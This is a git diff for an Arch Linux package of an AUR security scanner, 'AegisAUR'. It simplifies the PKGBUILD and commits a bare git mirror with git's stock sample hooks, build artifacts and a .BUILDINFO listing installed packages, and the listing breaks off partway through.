diff --git a/PKGBUILD b/PKGBUILD index 14dd337..7a54bcd 100644 --- a/PKGBUILD +++ b/PKGBUILD @@ -5,45 +5,32 @@ pkgname=aegisaur pkgver=0.1.0 pkgrel=1 pkgdesc="Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete" -arch=('x86_64' 'x86_64_v3' 'x86_64_v4' 'aarch64') +arch=('x86_64') url="https://gitea.die-heimatlosen.eu/arch_agent/aegisaur" license=('MIT') makedepends=('rust' 'cargo') -depends=('pacman' 'libalpm') -optdepends=( - 'sudo: für install-hook und ALPM-Integration' - 'nodejs: für IOC-Checks mit npm-Paketen' -) -source=("$pkgname-$pkgver.tar.gz::$url/archive/refs/tags/v$pkgver.tar.gz") +depends=('pacman') +# Lokale Quellen (aus Git-Checkout) +source=("aegisaur::git+$url.git#branch=master") sha256sums=('SKIP') build() { - cd "$srcdir/$pkgname-$pkgver" - export RUSTFLAGS="-C target-cpu=${CARCH}" + cd "$srcdir/$pkgname" + export RUSTFLAGS="-C opt-level=3" cargo build --release --locked } package() { - cd "$srcdir/$pkgname-$pkgver" + cd "$srcdir/$pkgname" # Binary install -Dm755 "target/release/$pkgname" "$pkgdir/usr/bin/$pkgname" - # ALPM Hook - install -Dm644 "src/hook/hook.install" "$pkgdir/usr/share/libalpm/hooks/99-aegisaur.hook" - install -Dm755 "src/hook/check.sh" "$pkgdir/usr/share/libalpm/hooks/aegisaur-check.sh" - # Dokumentation install -Dm644 README.md "$pkgdir/usr/share/doc/$pkgname/README.md" - install -Dm644 TODO.md "$pkgdir/usr/share/doc/$pkgname/TODO.md" install -Dm644 INSTALL.md "$pkgdir/usr/share/doc/$pkgname/INSTALL.md" install -Dm644 USAGE.md "$pkgdir/usr/share/doc/$pkgname/USAGE.md" - - # Config Beispiel - install -Dm644 "config/example.toml" "$pkgdir/usr/share/$pkgname/config.example.toml" - - # Licence - install -Dm644 LICENSE "$pkgdir/usr/share/licenses/$pkgname/LICENSE" + install -Dm644 TODO.md "$pkgdir/usr/share/doc/$pkgname/TODO.md" } post_install() { @@ -51,22 +38,11 @@ post_install() { echo "║ AegisAUR wurde installiert! ║" echo "╚══════════════════════════════════════════════════════════════╝" echo "" - echo "Nutzer-Spezifisches Setup:" - echo " aegisaur config → Erstellt ~/.config/aegisaur/config.toml" - echo "" - echo "Systemweites Setup (ALPM-Hook):" - echo " sudo aegisaur install-hook" - echo "" - echo "Schnellstart:" + echo "Quickstart:" echo " aegisaur scan-all → Scannt alle installierten AUR-Pakete" echo " aegisaur check-ioc → Prüft gegen aktuelle IOC-Listen" + echo " sudo aegisaur install-hook → ALPM-Hook installieren" echo "" echo "Mehr Infos: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur" -} - -pre_remove() { - echo "AegisAUR Hook wird entfernt..." - if command -v aegisaur >/dev/null 2>&1; then - aegisaur remove-hook 2>/dev/null || true - fi + echo "Doku: /usr/share/doc/aegisaur/USAGE.md" } diff --git a/aegisaur-0.1.0-1-x86_64.pkg.tar.zst b/aegisaur-0.1.0-1-x86_64.pkg.tar.zst new file mode 100644 index 0000000..4da4e59 Binary files /dev/null and b/aegisaur-0.1.0-1-x86_64.pkg.tar.zst differ diff --git a/aegisaur/HEAD b/aegisaur/HEAD new file mode 100644 index 0000000..b870d82 --- /dev/null +++ b/aegisaur/HEAD @@ -0,0 +1 @@ +ref: refs/heads/main diff --git a/aegisaur/config b/aegisaur/config new file mode 100644 index 0000000..63e49bd --- /dev/null +++ b/aegisaur/config @@ -0,0 +1,9 @@ +[core] + repositoryformatversion = 0 + filemode = true + bare = true +[remote "origin"] + url = https://gitea.die-heimatlosen.eu/arch_agent/aegisaur.git + tagOpt = --no-tags + fetch = +refs/*:refs/* + mirror = true diff --git a/aegisaur/description b/aegisaur/description new file mode 100644 index 0000000..498b267 --- /dev/null +++ b/aegisaur/description @@ -0,0 +1 @@ +Unnamed repository; edit this file 'description' to name the repository. diff --git a/aegisaur/hooks/applypatch-msg.sample b/aegisaur/hooks/applypatch-msg.sample new file mode 100755 index 0000000..a5d7b84 --- /dev/null +++ b/aegisaur/hooks/applypatch-msg.sample @@ -0,0 +1,15 @@ +#!/bin/sh +# +# An example hook script to check the commit log message taken by +# applypatch from an e-mail message. +# +# The hook should exit with non-zero status after issuing an +# appropriate message if it wants to stop the commit. The hook is +# allowed to edit the commit message file. +# +# To enable this hook, rename this file to "applypatch-msg". + +. git-sh-setup +commitmsg="$(git rev-parse --git-path hooks/commit-msg)" +test -x "$commitmsg" && exec "$commitmsg" ${1+"$@"} +: diff --git a/aegisaur/hooks/commit-msg.sample b/aegisaur/hooks/commit-msg.sample new file mode 100755 index 0000000..f7458ef --- /dev/null +++ b/aegisaur/hooks/commit-msg.sample @@ -0,0 +1,74 @@ +#!/bin/sh +# +# An example hook script to check the commit log message. +# Called by "git commit" with one argument, the name of the file +# that has the commit message. The hook should exit with non-zero +# status after issuing an appropriate message if it wants to stop the +# commit. The hook is allowed to edit the commit message file. +# +# To enable this hook, rename this file to "commit-msg". + +# Uncomment the below to add a Signed-off-by line to the message. +# Doing this in a hook is a bad idea in general, but the prepare-commit-msg +# hook is more suited to it. +# +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" + +# This example catches duplicate Signed-off-by lines and messages that +# would confuse 'git am'. + +ret=0 + +test "" = "$(grep '^Signed-off-by: ' "$1" | + sort | uniq -c | sed -e '/^[ ]*1[ ]/d')" || { + echo >&2 Duplicate Signed-off-by lines. + ret=1 +} + +comment_re="$( + { + git config --get-regexp "^core\.comment(char|string)\$" || + echo '#' + } | sed -n -e ' + ${ + s/^[^ ]* // + s|[][*./\]|\\&|g + s/^auto$/[#;@!$%^&|:]/ + p + }' +)" +scissors_line="^${comment_re} -\{8,\} >8 -\{8,\}\$" +comment_line="^${comment_re}.*" +blank_line='^[ ]*$' +# Disallow lines starting with "diff -" or "Index: " in the body of the +# message. Stop looking if we see a scissors line. +line="$(sed -n -e " + # Skip comments and blank lines at the start of the file. + /${scissors_line}/q + /${comment_line}/d + /${blank_line}/d + # The first paragraph will become the subject header so + # does not need to be checked. + : subject + n + /${scissors_line}/q + /${blank_line}/!b subject + # Check the body of the message for problematic + # prefixes. + : body + n + /${scissors_line}/q + /${comment_line}/b body + /^diff -/{p;q;} + /^Index: /{p;q;} + b body + " "$1")" +if test -n "$line" +then + echo >&2 "Message contains a diff that will confuse 'git am'." + echo >&2 "To fix this indent the diff." + ret=1 +fi + +exit $ret diff --git a/aegisaur/hooks/fsmonitor-watchman.sample b/aegisaur/hooks/fsmonitor-watchman.sample new file mode 100755 index 0000000..429e0a5 --- /dev/null +++ b/aegisaur/hooks/fsmonitor-watchman.sample @@ -0,0 +1,168 @@ +#!/usr/bin/perl + +use strict; +use warnings; +use IPC::Open2; + +# An example hook script to integrate Watchman +# (https://facebook.github.io/watchman/) with git to speed up detecting +# new and modified files. +# +# The hook is passed a version (currently 2) and last update token +# formatted as a string and outputs to stdout a new update token and +# all files that have been modified since the update token. Paths must +# be relative to the root of the working tree and separated by a single NUL. +# +# To enable this hook, rename this file to "query-watchman" and set +# 'git config core.fsmonitor .git/hooks/query-watchman' +# +my ($version, $last_update_token) = @ARGV; + +# Uncomment for debugging +# print STDERR "$0 $version $last_update_token\n"; + +# Check the hook interface version +if ($version ne 2) { + die "Unsupported query-fsmonitor hook version '$version'.\n" . + "Falling back to scanning...\n"; +} + +my $git_work_tree = get_working_dir(); + +my $json_pkg; +eval { + require JSON::XS; + $json_pkg = "JSON::XS"; + 1; +} or do { + require JSON::PP; + $json_pkg = "JSON::PP"; +}; + +launch_watchman(); + +sub launch_watchman { + my $o = watchman_query(); + if (is_work_tree_watched($o)) { + output_result($o->{clock}, @{$o->{files}}); + } +} + +sub output_result { + my ($clockid, @files) = @_; + + # Uncomment for debugging watchman output + # open (my $fh, ">", ".git/watchman-output.out"); + # binmode $fh, ":utf8"; + # print $fh "$clockid\n@files\n"; + # close $fh; + + binmode STDOUT, ":utf8"; + print $clockid; + print "\0"; + local $, = "\0"; + print @files; +} + +sub watchman_clock { + my $response = qx/watchman clock "$git_work_tree"/; + die "Failed to get clock id on '$git_work_tree'.\n" . + "Falling back to scanning...\n" if $? != 0; + + return $json_pkg->new->utf8->decode($response); +} + +sub watchman_query { + my $pid = open2(\*CHLD_OUT, \*CHLD_IN, 'watchman -j --no-pretty') + or die "open2() failed: $!\n" . + "Falling back to scanning...\n"; + + # In the query expression below we're asking for names of files that + # changed since $last_update_token but not from the .git folder. + # + # To accomplish this, we're using the "since" generator to use the + # recency index to select candidate nodes and "fields" to limit the + # output to file names only. Then we're using the "expression" term to + # further constrain the results. + my $last_update_line = ""; + if (substr($last_update_token, 0, 1) eq "c") { + $last_update_token = "\"$last_update_token\""; + $last_update_line = qq[\n"since": $last_update_token,]; + } + my $query = <<" END"; + ["query", "$git_work_tree", {$last_update_line + "fields": ["name"], + "expression": ["not", ["dirname", ".git"]] + }] + END + + # Uncomment for debugging the watchman query + # open (my $fh, ">", ".git/watchman-query.json"); + # print $fh $query; + # close $fh; + + print CHLD_IN $query; + close CHLD_IN; + my $response = do {local $/; }; + + # Uncomment for debugging the watch response + # open ($fh, ">", ".git/watchman-response.json"); + # print $fh $response; + # close $fh; + + die "Watchman: command returned no output.\n" . + "Falling back to scanning...\n" if $response eq ""; + die "Watchman: command returned invalid output: $response\n" . + "Falling back to scanning...\n" unless $response =~ /^\{/; + + return $json_pkg->new->utf8->decode($response); +} + +sub is_work_tree_watched { + my ($output) = @_; + my $error = $output->{error}; + if ($error and $error =~ m/unable to resolve root .* directory (.*) is not watched/) { + my $response = qx/watchman watch "$git_work_tree"/; + die "Failed to make watchman watch '$git_work_tree'.\n" . + "Falling back to scanning...\n" if $? != 0; + $output = $json_pkg->new->utf8->decode($response); + $error = $output->{error}; + die "Watchman: $error.\n" . + "Falling back to scanning...\n" if $error; + + # Uncomment for debugging watchman output + # open (my $fh, ">", ".git/watchman-output.out"); + # close $fh; + + # Watchman will always return all files on the first query so + # return the fast "everything is dirty" flag to git and do the + # Watchman query just to get it over with now so we won't pay + # the cost in git to look up each individual file. + my $o = watchman_clock(); + $error = $o->{error}; + + die "Watchman: $error.\n" . + "Falling back to scanning...\n" if $error; + + output_result($o->{clock}, ("/")); + return 0; + } + + die "Watchman: $error.\n" . + "Falling back to scanning...\n" if $error; + + return 1; +} + +sub get_working_dir { + my $working_dir; + if ($^O =~ 'msys' || $^O =~ 'cygwin') { + $working_dir = Win32::GetCwd(); + $working_dir =~ tr/\\/\//; + } else { + require Cwd; + $working_dir = Cwd::cwd(); + } + + return $working_dir; +} diff --git a/aegisaur/hooks/post-update.sample b/aegisaur/hooks/post-update.sample new file mode 100755 index 0000000..ec17ec1 --- /dev/null +++ b/aegisaur/hooks/post-update.sample @@ -0,0 +1,8 @@ +#!/bin/sh +# +# An example hook script to prepare a packed repository for use over +# dumb transports. +# +# To enable this hook, rename this file to "post-update". + +exec git update-server-info diff --git a/aegisaur/hooks/pre-applypatch.sample b/aegisaur/hooks/pre-applypatch.sample new file mode 100755 index 0000000..4142082 --- /dev/null +++ b/aegisaur/hooks/pre-applypatch.sample @@ -0,0 +1,14 @@ +#!/bin/sh +# +# An example hook script to verify what is about to be committed +# by applypatch from an e-mail message. +# +# The hook should exit with non-zero status after issuing an +# appropriate message if it wants to stop the commit. +# +# To enable this hook, rename this file to "pre-applypatch". + +. git-sh-setup +precommit="$(git rev-parse --git-path hooks/pre-commit)" +test -x "$precommit" && exec "$precommit" ${1+"$@"} +: diff --git a/aegisaur/hooks/pre-commit.sample b/aegisaur/hooks/pre-commit.sample new file mode 100755 index 0000000..29ed5ee --- /dev/null +++ b/aegisaur/hooks/pre-commit.sample @@ -0,0 +1,49 @@ +#!/bin/sh +# +# An example hook script to verify what is about to be committed. +# Called by "git commit" with no arguments. The hook should +# exit with non-zero status after issuing an appropriate message if +# it wants to stop the commit. +# +# To enable this hook, rename this file to "pre-commit". + +if git rev-parse --verify HEAD >/dev/null 2>&1 +then + against=HEAD +else + # Initial commit: diff against an empty tree object + against=$(git hash-object -t tree /dev/null) +fi + +# If you want to allow non-ASCII filenames set this variable to true. +allownonascii=$(git config --type=bool hooks.allownonascii) + +# Redirect output to stderr. +exec 1>&2 + +# Cross platform projects tend to avoid non-ASCII filenames; prevent +# them from being added to the repository. We exploit the fact that the +# printable range starts at the space character and ends with tilde. +if [ "$allownonascii" != "true" ] && + # Note that the use of brackets around a tr range is ok here, (it's + # even required, for portability to Solaris 10's /usr/bin/tr), since + # the square bracket bytes happen to fall in the designated range. + test $(git diff-index --cached --name-only --diff-filter=A -z $against | + LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0 +then + cat <<\EOF +Error: Attempt to add a non-ASCII file name. + +This can cause problems if you want to work with people on other platforms. + +To be portable it is advisable to rename the file. + +If you know what you are doing you can disable this check using: + + git config hooks.allownonascii true +EOF + exit 1 +fi + +# If there are whitespace errors, print the offending file names and fail. +exec git diff-index --check --cached $against -- diff --git a/aegisaur/hooks/pre-merge-commit.sample b/aegisaur/hooks/pre-merge-commit.sample new file mode 100755 index 0000000..399eab1 --- /dev/null +++ b/aegisaur/hooks/pre-merge-commit.sample @@ -0,0 +1,13 @@ +#!/bin/sh +# +# An example hook script to verify what is about to be committed. +# Called by "git merge" with no arguments. The hook should +# exit with non-zero status after issuing an appropriate message to +# stderr if it wants to stop the merge commit. +# +# To enable this hook, rename this file to "pre-merge-commit". + +. git-sh-setup +test -x "$GIT_DIR/hooks/pre-commit" && + exec "$GIT_DIR/hooks/pre-commit" +: diff --git a/aegisaur/hooks/pre-push.sample b/aegisaur/hooks/pre-push.sample new file mode 100755 index 0000000..4ce688d --- /dev/null +++ b/aegisaur/hooks/pre-push.sample @@ -0,0 +1,53 @@ +#!/bin/sh + +# An example hook script to verify what is about to be pushed. Called by "git +# push" after it has checked the remote status, but before anything has been +# pushed. If this script exits with a non-zero status nothing will be pushed. +# +# This hook is called with the following parameters: +# +# $1 -- Name of the remote to which the push is being done +# $2 -- URL to which the push is being done +# +# If pushing without using a named remote those arguments will be equal. +# +# Information about the commits which are being pushed is supplied as lines to +# the standard input in the form: +# +# +# +# This sample shows how to prevent push of commits where the log message starts +# with "WIP" (work in progress). + +remote="$1" +url="$2" + +zero=$(git hash-object --stdin &2 "Found WIP commit in $local_ref, not pushing" + exit 1 + fi + fi +done + +exit 0 diff --git a/aegisaur/hooks/pre-rebase.sample b/aegisaur/hooks/pre-rebase.sample new file mode 100755 index 0000000..6cbef5c --- /dev/null +++ b/aegisaur/hooks/pre-rebase.sample @@ -0,0 +1,169 @@ +#!/bin/sh +# +# Copyright (c) 2006, 2008 Junio C Hamano +# +# The "pre-rebase" hook is run just before "git rebase" starts doing +# its job, and can prevent the command from running by exiting with +# non-zero status. +# +# The hook is called with the following parameters: +# +# $1 -- the upstream the series was forked from. +# $2 -- the branch being rebased (or empty when rebasing the current branch). +# +# This sample shows how to prevent topic branches that are already +# merged to 'next' branch from getting rebased, because allowing it +# would result in rebasing already published history. + +publish=next +basebranch="$1" +if test "$#" = 2 +then + topic="refs/heads/$2" +else + topic=`git symbolic-ref HEAD` || + exit 0 ;# we do not interrupt rebasing detached HEAD +fi + +case "$topic" in +refs/heads/??/*) + ;; +*) + exit 0 ;# we do not interrupt others. + ;; +esac + +# Now we are dealing with a topic branch being rebased +# on top of master. Is it OK to rebase it? + +# Does the topic really exist? +git show-ref -q "$topic" || { + echo >&2 "No such branch $topic" + exit 1 +} + +# Is topic fully merged to master? +not_in_master=`git rev-list --pretty=oneline ^master "$topic"` +if test -z "$not_in_master" +then + echo >&2 "$topic is fully merged to master; better remove it." + exit 1 ;# we could allow it, but there is no point. +fi + +# Is topic ever merged to next? If so you should not be rebasing it. +only_next_1=`git rev-list ^master "^$topic" ${publish} | sort` +only_next_2=`git rev-list ^master ${publish} | sort` +if test "$only_next_1" = "$only_next_2" +then + not_in_topic=`git rev-list "^$topic" master` + if test -z "$not_in_topic" + then + echo >&2 "$topic is already up to date with master" + exit 1 ;# we could allow it, but there is no point. + else + exit 0 + fi +else + not_in_next=`git rev-list --pretty=oneline ^${publish} "$topic"` + /usr/bin/perl -e ' + my $topic = $ARGV[0]; + my $msg = "* $topic has commits already merged to public branch:\n"; + my (%not_in_next) = map { + /^([0-9a-f]+) /; + ($1 => 1); + } split(/\n/, $ARGV[1]); + for my $elem (map { + /^([0-9a-f]+) (.*)$/; + [$1 => $2]; + } split(/\n/, $ARGV[2])) { + if (!exists $not_in_next{$elem->[0]}) { + if ($msg) { + print STDERR $msg; + undef $msg; + } + print STDERR " $elem->[1]\n"; + } + } + ' "$topic" "$not_in_next" "$not_in_master" + exit 1 +fi + +<<\DOC_END + +This sample hook safeguards topic branches that have been +published from being rewound. + +The workflow assumed here is: + + * Once a topic branch forks from "master", "master" is never + merged into it again (either directly or indirectly). + + * Once a topic branch is fully cooked and merged into "master", + it is deleted. If you need to build on top of it to correct + earlier mistakes, a new topic branch is created by forking at + the tip of the "master". This is not strictly necessary, but + it makes it easier to keep your history simple. + + * Whenever you need to test or publish your changes to topic + branches, merge them into "next" branch. + +The script, being an example, hardcodes the publish branch name +to be "next", but it is trivial to make it configurable via +$GIT_DIR/config mechanism. + +With this workflow, you would want to know: + +(1) ... if a topic branch has ever been merged to "next". Young + topic branches can have stupid mistakes you would rather + clean up before publishing, and things that have not been + merged into other branches can be easily rebased without + affecting other people. But once it is published, you would + not want to rewind it. + +(2) ... if a topic branch has been fully merged to "master". + Then you can delete it. More importantly, you should not + build on top of it -- other people may already want to + change things related to the topic as patches against your + "master", so if you need further changes, it is better to + fork the topic (perhaps with the same name) afresh from the + tip of "master". + +Let's look at this example: + + o---o---o---o---o---o---o---o---o---o "next" + / / / / + / a---a---b A / / + / / / / + / / c---c---c---c B / + / / / \ / + / / / b---b C \ / + / / / / \ / + ---o---o---o---o---o---o---o---o---o---o---o "master" + + +A, B and C are topic branches. + + * A has one fix since it was merged up to "next". + + * B has finished. It has been fully merged up to "master" and "next", + and is ready to be deleted. + + * C has not merged to "next" at all. + +We would want to allow C to be rebased, refuse A, and encourage +B to be deleted. + +To compute (1): + + git rev-list ^master ^topic next + git rev-list ^master next + + if these match, topic has not merged in next at all. + +To compute (2): + + git rev-list master..topic + + if this is empty, it is fully merged to "master". + +DOC_END diff --git a/aegisaur/hooks/pre-receive.sample b/aegisaur/hooks/pre-receive.sample new file mode 100755 index 0000000..a1fd29e --- /dev/null +++ b/aegisaur/hooks/pre-receive.sample @@ -0,0 +1,24 @@ +#!/bin/sh +# +# An example hook script to make use of push options. +# The example simply echoes all push options that start with 'echoback=' +# and rejects all pushes when the "reject" push option is used. +# +# To enable this hook, rename this file to "pre-receive". + +if test -n "$GIT_PUSH_OPTION_COUNT" +then + i=0 + while test "$i" -lt "$GIT_PUSH_OPTION_COUNT" + do + eval "value=\$GIT_PUSH_OPTION_$i" + case "$value" in + echoback=*) + echo "echo from the pre-receive-hook: ${value#*=}" >&2 + ;; + reject) + exit 1 + esac + i=$((i + 1)) + done +fi diff --git a/aegisaur/hooks/prepare-commit-msg.sample b/aegisaur/hooks/prepare-commit-msg.sample new file mode 100755 index 0000000..10fa14c --- /dev/null +++ b/aegisaur/hooks/prepare-commit-msg.sample @@ -0,0 +1,42 @@ +#!/bin/sh +# +# An example hook script to prepare the commit log message. +# Called by "git commit" with the name of the file that has the +# commit message, followed by the description of the commit +# message's source. The hook's purpose is to edit the commit +# message file. If the hook fails with a non-zero status, +# the commit is aborted. +# +# To enable this hook, rename this file to "prepare-commit-msg". + +# This hook includes three examples. The first one removes the +# "# Please enter the commit message..." help message. +# +# The second includes the output of "git diff --name-status -r" +# into the message, just before the "git status" output. It is +# commented because it doesn't cope with --amend or with squashed +# commits. +# +# The third example adds a Signed-off-by line to the message, that can +# still be edited. This is rarely a good idea. + +COMMIT_MSG_FILE=$1 +COMMIT_SOURCE=$2 +SHA1=$3 + +/usr/bin/perl -i.bak -ne 'print unless(m/^. Please enter the commit message/..m/^#$/)' "$COMMIT_MSG_FILE" + +# case "$COMMIT_SOURCE,$SHA1" in +# ,|template,) +# /usr/bin/perl -i.bak -pe ' +# print "\n" . `git diff --cached --name-status -r` +# if /^#/ && $first++ == 0' "$COMMIT_MSG_FILE" ;; +# *) ;; +# esac + +# SOB=$(git var GIT_COMMITTER_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') +# git interpret-trailers --in-place --trailer "$SOB" "$COMMIT_MSG_FILE" +# if test -z "$COMMIT_SOURCE" +# then +# /usr/bin/perl -i.bak -pe 'print "\n" if !$first_line++' "$COMMIT_MSG_FILE" +# fi diff --git a/aegisaur/hooks/push-to-checkout.sample b/aegisaur/hooks/push-to-checkout.sample new file mode 100755 index 0000000..af5a0c0 --- /dev/null +++ b/aegisaur/hooks/push-to-checkout.sample @@ -0,0 +1,78 @@ +#!/bin/sh + +# An example hook script to update a checked-out tree on a git push. +# +# This hook is invoked by git-receive-pack(1) when it reacts to git +# push and updates reference(s) in its repository, and when the push +# tries to update the branch that is currently checked out and the +# receive.denyCurrentBranch configuration variable is set to +# updateInstead. +# +# By default, such a push is refused if the working tree and the index +# of the remote repository has any difference from the currently +# checked out commit; when both the working tree and the index match +# the current commit, they are updated to match the newly pushed tip +# of the branch. This hook is to be used to override the default +# behaviour; however the code below reimplements the default behaviour +# as a starting point for convenient modification. +# +# The hook receives the commit with which the tip of the current +# branch is going to be updated: +commit=$1 + +# It can exit with a non-zero status to refuse the push (when it does +# so, it must not modify the index or the working tree). +die () { + echo >&2 "$*" + exit 1 +} + +# Or it can make any necessary changes to the working tree and to the +# index to bring them to the desired state when the tip of the current +# branch is updated to the new commit, and exit with a zero status. +# +# For example, the hook can simply run git read-tree -u -m HEAD "$1" +# in order to emulate git fetch that is run in the reverse direction +# with git push, as the two-tree form of git read-tree -u -m is +# essentially the same as git switch or git checkout that switches +# branches while keeping the local changes in the working tree that do +# not interfere with the difference between the branches. + +# The below is a more-or-less exact translation to shell of the C code +# for the default behaviour for git's push-to-checkout hook defined in +# the push_to_deploy() function in builtin/receive-pack.c. +# +# Note that the hook will be executed from the repository directory, +# not from the working tree, so if you want to perform operations on +# the working tree, you will have to adapt your code accordingly, e.g. +# by adding "cd .." or using relative paths. + +if ! git update-index -q --ignore-submodules --refresh +then + die "Up-to-date check failed" +fi + +if ! git diff-files --quiet --ignore-submodules -- +then + die "Working directory has unstaged changes" +fi + +# This is a rough translation of: +# +# head_has_history() ? "HEAD" : EMPTY_TREE_SHA1_HEX +if git cat-file -e HEAD 2>/dev/null +then + head=HEAD +else + head=$(git hash-object -t tree --stdin &2 + exit 1 +} + +unset GIT_DIR GIT_WORK_TREE +cd "$worktree" && + +if grep -q "^diff --git " "$1" +then + validate_patch "$1" +else + validate_cover_letter "$1" +fi && + +if test "$GIT_SENDEMAIL_FILE_COUNTER" = "$GIT_SENDEMAIL_FILE_TOTAL" +then + git config --unset-all sendemail.validateWorktree && + trap 'git worktree remove -ff "$worktree"' EXIT && + validate_series +fi diff --git a/aegisaur/hooks/update.sample b/aegisaur/hooks/update.sample new file mode 100755 index 0000000..c4d426b --- /dev/null +++ b/aegisaur/hooks/update.sample @@ -0,0 +1,128 @@ +#!/bin/sh +# +# An example hook script to block unannotated tags from entering. +# Called by "git receive-pack" with arguments: refname sha1-old sha1-new +# +# To enable this hook, rename this file to "update". +# +# Config +# ------ +# hooks.allowunannotated +# This boolean sets whether unannotated tags will be allowed into the +# repository. By default they won't be. +# hooks.allowdeletetag +# This boolean sets whether deleting tags will be allowed in the +# repository. By default they won't be. +# hooks.allowmodifytag +# This boolean sets whether a tag may be modified after creation. By default +# it won't be. +# hooks.allowdeletebranch +# This boolean sets whether deleting branches will be allowed in the +# repository. By default they won't be. +# hooks.denycreatebranch +# This boolean sets whether remotely creating branches will be denied +# in the repository. By default this is allowed. +# + +# --- Command line +refname="$1" +oldrev="$2" +newrev="$3" + +# --- Safety check +if [ -z "$GIT_DIR" ]; then + echo "Don't run this script from the command line." >&2 + echo " (if you want, you could supply GIT_DIR then run" >&2 + echo " $0 )" >&2 + exit 1 +fi + +if [ -z "$refname" -o -z "$oldrev" -o -z "$newrev" ]; then + echo "usage: $0 " >&2 + exit 1 +fi + +# --- Config +allowunannotated=$(git config --type=bool hooks.allowunannotated) +allowdeletebranch=$(git config --type=bool hooks.allowdeletebranch) +denycreatebranch=$(git config --type=bool hooks.denycreatebranch) +allowdeletetag=$(git config --type=bool hooks.allowdeletetag) +allowmodifytag=$(git config --type=bool hooks.allowmodifytag) + +# check for no description +projectdesc=$(sed -e '1q' "$GIT_DIR/description") +case "$projectdesc" in +"Unnamed repository"* | "") + echo "*** Project description file hasn't been set" >&2 + exit 1 + ;; +esac + +# --- Check types +# if $newrev is 0000...0000, it's a commit to delete a ref. +zero=$(git hash-object --stdin &2 + echo "*** Use 'git tag [ -a | -s ]' for tags you want to propagate." >&2 + exit 1 + fi + ;; + refs/tags/*,delete) + # delete tag + if [ "$allowdeletetag" != "true" ]; then + echo "*** Deleting a tag is not allowed in this repository" >&2 + exit 1 + fi + ;; + refs/tags/*,tag) + # annotated tag + if [ "$allowmodifytag" != "true" ] && git rev-parse $refname > /dev/null 2>&1 + then + echo "*** Tag '$refname' already exists." >&2 + echo "*** Modifying a tag is not allowed in this repository." >&2 + exit 1 + fi + ;; + refs/heads/*,commit) + # branch + if [ "$oldrev" = "$zero" -a "$denycreatebranch" = "true" ]; then + echo "*** Creating a branch is not allowed in this repository" >&2 + exit 1 + fi + ;; + refs/heads/*,delete) + # delete branch + if [ "$allowdeletebranch" != "true" ]; then + echo "*** Deleting a branch is not allowed in this repository" >&2 + exit 1 + fi + ;; + refs/remotes/*,commit) + # tracking branch + ;; + refs/remotes/*,delete) + # delete tracking branch + if [ "$allowdeletebranch" != "true" ]; then + echo "*** Deleting a tracking branch is not allowed in this repository" >&2 + exit 1 + fi + ;; + *) + # Anything else (is there anything else?) + echo "*** Update hook: unknown type of update to ref $refname of type $newrev_type" >&2 + exit 1 + ;; +esac + +# --- Finished +exit 0 diff --git a/aegisaur/info/attributes b/aegisaur/info/attributes new file mode 100644 index 0000000..1c897b7 --- /dev/null +++ b/aegisaur/info/attributes @@ -0,0 +1 @@ +* -export-subst -export-ignore diff --git a/aegisaur/info/exclude b/aegisaur/info/exclude new file mode 100644 index 0000000..a5196d1 --- /dev/null +++ b/aegisaur/info/exclude @@ -0,0 +1,6 @@ +# git ls-files --others --exclude-from=.git/info/exclude +# Lines that start with '#' are comments. +# For a project mostly in C, the following would be a good set of +# exclude patterns (uncomment them if you want to use them): +# *.[oa] +# *~ diff --git a/aegisaur/objects/pack/pack-9c9ae954ba00cf4fb8b21203cb0830e53a69efc3.idx b/aegisaur/objects/pack/pack-9c9ae954ba00cf4fb8b21203cb0830e53a69efc3.idx new file mode 100644 index 0000000..e8415df Binary files /dev/null and b/aegisaur/objects/pack/pack-9c9ae954ba00cf4fb8b21203cb0830e53a69efc3.idx differ diff --git a/aegisaur/objects/pack/pack-9c9ae954ba00cf4fb8b21203cb0830e53a69efc3.pack b/aegisaur/objects/pack/pack-9c9ae954ba00cf4fb8b21203cb0830e53a69efc3.pack new file mode 100644 index 0000000..fe83d4e Binary files /dev/null and b/aegisaur/objects/pack/pack-9c9ae954ba00cf4fb8b21203cb0830e53a69efc3.pack differ diff --git a/aegisaur/objects/pack/pack-9c9ae954ba00cf4fb8b21203cb0830e53a69efc3.rev b/aegisaur/objects/pack/pack-9c9ae954ba00cf4fb8b21203cb0830e53a69efc3.rev new file mode 100644 index 0000000..3adf568 Binary files /dev/null and b/aegisaur/objects/pack/pack-9c9ae954ba00cf4fb8b21203cb0830e53a69efc3.rev differ diff --git a/aegisaur/packed-refs b/aegisaur/packed-refs new file mode 100644 index 0000000..d7ca634 --- /dev/null +++ b/aegisaur/packed-refs @@ -0,0 +1,3 @@ +# pack-refs with: peeled fully-peeled sorted +e765ceddfc8109abdc1990a813ed759a5ff2b7ee refs/heads/main +afc5db8d76b6c747724769d4a266253822eceb55 refs/heads/master diff --git a/pkg/aegisaur/.BUILDINFO b/pkg/aegisaur/.BUILDINFO new file mode 100644 index 0000000..1aa0c16 --- /dev/null +++ b/pkg/aegisaur/.BUILDINFO @@ -0,0 +1,2526 @@ +format = 2 +pkgname = aegisaur +pkgbase = aegisaur +pkgver = 0.1.0-1 +pkgarch = x86_64 +pkgbuild_sha256sum = cc5b5430507d8938aa84438f22b0c7f502330f1b71508dae6a10c4f8b70f241a +packager = Unknown Packager +builddate = 1781539210 +builddir = /home/arch_agent_system/.openclaw/workspace/aegisaur +startdir = /home/arch_agent_system/.openclaw/workspace/aegisaur +buildtool = makepkg +buildtoolver = 7.1.0 +buildenv = !distcc +buildenv = color +buildenv = !ccache +buildenv = check +buildenv = !sign +options = strip +options = docs +options = !libtool +options = !staticlibs +options = emptydirs +options = zipman +options = purge +options = !debug +options = !lto +options = !autodeps +installed = 7zip-26.01-1.1-x86_64_v4 +installed = a52dec-0.8.0-3.1-x86_64_v4 +installed = aalib-1.4rc5-19.1-x86_64_v4 +installed = aardvark-dns-1.17.1-1.1-x86_64_v4 +installed = abseil-cpp-20260526.0-2.1-x86_64_v4 +installed = accountsservice-26.13.3-1.1-x86_64_v4 +installed = acl-2.3.2-2.1-x86_64_v4 +installed = ada-3.4.4-1.1-x86_64_v4 +installed = adwaita-cursors-50.0-1-any +installed = adwaita-fonts-50.0-1-any +installed = adwaita-icon-theme-50.0-1-any +installed = adwaita-icon-theme-legacy-46.2-3-any +installed = 